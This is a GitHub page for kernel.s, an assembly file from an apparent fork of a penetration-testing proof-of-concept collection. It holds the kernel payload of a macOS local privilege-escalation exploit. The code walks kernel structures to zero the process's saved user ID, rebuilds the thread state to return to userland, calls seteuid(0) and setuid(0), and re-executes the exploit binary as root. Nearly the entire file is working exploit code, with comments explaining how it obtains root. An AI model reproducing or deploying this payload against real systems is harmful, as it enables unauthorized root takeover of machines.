forked from Mr-xn/Penetration_Testing_POC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
kernel.s
149 lines (117 loc) · 3.79 KB
/
kernel.s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
; This is the privilege escalation code and it will be run
; after we've disabled SMEP. I'm doing this in assembly because
; the kernel is going to execute this code as 64bit so the privilege
; escalation part has to be 64bit. However our exploit program is 32bit
; and the simplest way to have 64 and 32 bit code in one binary is probably
; writing the 64bit part in assembly and linking it to the 32 bit code.
bits 64
section __TEXT,__text
; Helper to fix relative accesses bc of PIE
getRIP:
mov rax, [rsp]
ret
; This is the function we're trying to implement
; void escalatePrivs() {
; uint32_t *posix_cred = posix_cred_get(proc_ucred(current_proc()));
; posix_cred[2] = 0x00; // uid_t cr_svuid; /* saved user id */
; return;
; }
global _escalatePrivs
_escalatePrivs:
swapgs
call getRIP
add rax, _current_proc - $
mov rax, [rax]
call rax; current_proc()
mov rdi, rax
call getRIP
add rax, _proc_ucred - $
mov rax, [rax]
call rax; proc_ucred(current_proc())
mov rdi, rax
call getRIP
add rax, _posix_cred_get - $
mov rax, [rax]
call rax; posix_cred_get(proc_ucred(current_proc())) \o/
; rax contains a pointer to our posix cred stucture at this point
;
; struct posix_cred {
; /*
; * The credential hash depends on everything from this point on
; * (see kauth_cred_get_hashkey)
; */
; uid_t cr_uid; /* effective user id */
; uid_t cr_ruid; /* real user id */
; uid_t cr_svuid; /* saved user id */
; short cr_ngroups; /* number of groups in advisory list */
; gid_t cr_groups[NGROUPS]; /* advisory group list */
; gid_t cr_rgid; /* real group id */
; gid_t cr_svgid; /* saved group id */
; uid_t cr_gmuid; /* UID for group membership purposes */
; int cr_flags; /* flags on credential */
; }
;
; we want to overwrite the cr_svuid field insead of cr_uid and cr_ruid
; to prevent crashing later on. Overwriting the cr_svuid will enable us
; to call seteuid(0)&setuid(0) in order for us to get root
mov dword [rax+0x4+0x4], 0x00; cr_svuid = 0x00;
; we're root !!! But we still need to return back to userland
; to be able to make use of our new privileges
; The easiest way to return back to userland is probably
; just calling _return_to_user, but since we have a
; kind of fucked up thread structure, we'll need to fix that first.
mov r15, qword [gs:0x08]; Get Thread structure
mov r15, qword [r15+0x428]; thread saved_state
; Calculate address of resume_task
call getRIP
add rax, resume_task - $
; populate our saved_state with sane values
mov dword [r15+0x48], eax ; New eip
mov dword [r15+0x50], 0x00200282 ; New eflags
mov dword [r15+0x4c], 0x1b ; New cs
mov dword [r15+0x54], 0x500 ; New esp
mov dword [r15+0x58], 0x23 ; New ss
mov dword [r15+0x1c], 0x23 ; New ds
mov dword [r15+0x18], 0x23 ; New es
mov dword [r15+0x14], 0x00 ; New fs
mov dword [r15+0x10], 0x00 ; New gs
call getRIP
add rax, _return_to_user - $
mov rax, [rax]
jmp rax
hlt
bits 32
resume_task:
; seteuid(0) + setuid(0)
mov eax, 183
xor ebx, ebx
int 0x80
mov eax, 23
xor ebx, ebx
int 0x80
; Exec our own process again, but this time as root ;)
xor eax, eax
push eax
push 0x00000074
push 0x696f6c70
push 0x78652f2e
mov ebx, esp
push eax
push eax
push ebx
mov al, 0x3b
push byte 0x2a
int 0x80
section __DATA,__data
global _current_proc
_current_proc:
dq 0xfeedface; placeholder
global _posix_cred_get
_posix_cred_get:
dq 0xfeedface; placeholder
global _proc_ucred
_proc_ucred:
dq 0xfeedface; placeholder
global _return_to_user
_return_to_user:
dq 0xfeedface; placeholder